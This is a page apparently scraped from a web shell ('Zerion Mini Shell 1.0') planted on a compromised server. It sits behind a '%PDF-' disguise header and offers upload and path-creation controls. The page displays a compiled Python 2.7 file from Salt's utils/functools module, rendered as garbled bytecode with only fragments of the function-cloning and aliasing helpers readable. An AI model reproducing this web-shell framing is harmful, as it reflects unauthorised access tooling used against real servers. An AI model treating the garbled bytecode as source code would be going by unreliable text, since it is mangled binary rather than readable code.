%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/utils/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/utils/functools.pyc

�
���^c@@s]dZddlmZmZmZddlZddlmZde	d�Z
dd�ZdS(u-
Utility functions to modify other functions
i(tabsolute_importtunicode_literalstprint_functionN(tsixc	C@s�|dkr|j}n|rC|jj�}|j|�|}ntj|j|d|jd|d|j	�}|j
j|j
�|S(u	
    Redefine (clone) a function under a different globals() namespace scope

        preserve_context:
            Allow keeping the context taken from orignal namespace,
            and extend it with globals() taken from
            new targetted namespace.
    tnametargdefstclosureN(tNonet__defaults__t__globals__tcopytupdatettypestFunctionTypet__code__t__name__t__closure__t__dict__(tfunctiontglobal_dicttdefaultstpreserve_contextt_global_dicttnew_namespaced_function((s8/usr/lib/python2.7/site-packages/salt/utils/functools.pytnamespaced_functions	
		cC@s�tj|j|jt|�|j|j�}|jj|j�|rdt	|t
j�rd||_n.|j
}dj|�}||jp�d|_|S(u
    Copy a function
    u'
This function is an alias of ``{0}``.
u(RR
RR	tstrRRRRt
isinstanceRtstring_typest__doc__Rtformat(tfunRtdoct	alias_funt	orig_namet	alias_msg((s8/usr/lib/python2.7/site-packages/salt/utils/functools.pytalias_function*s			(Rt
__future__RRRRtsalt.extRRtFalseRR#(((s8/usr/lib/python2.7/site-packages/salt/utils/functools.pyt<module>s


Zerion Mini Shell 1.0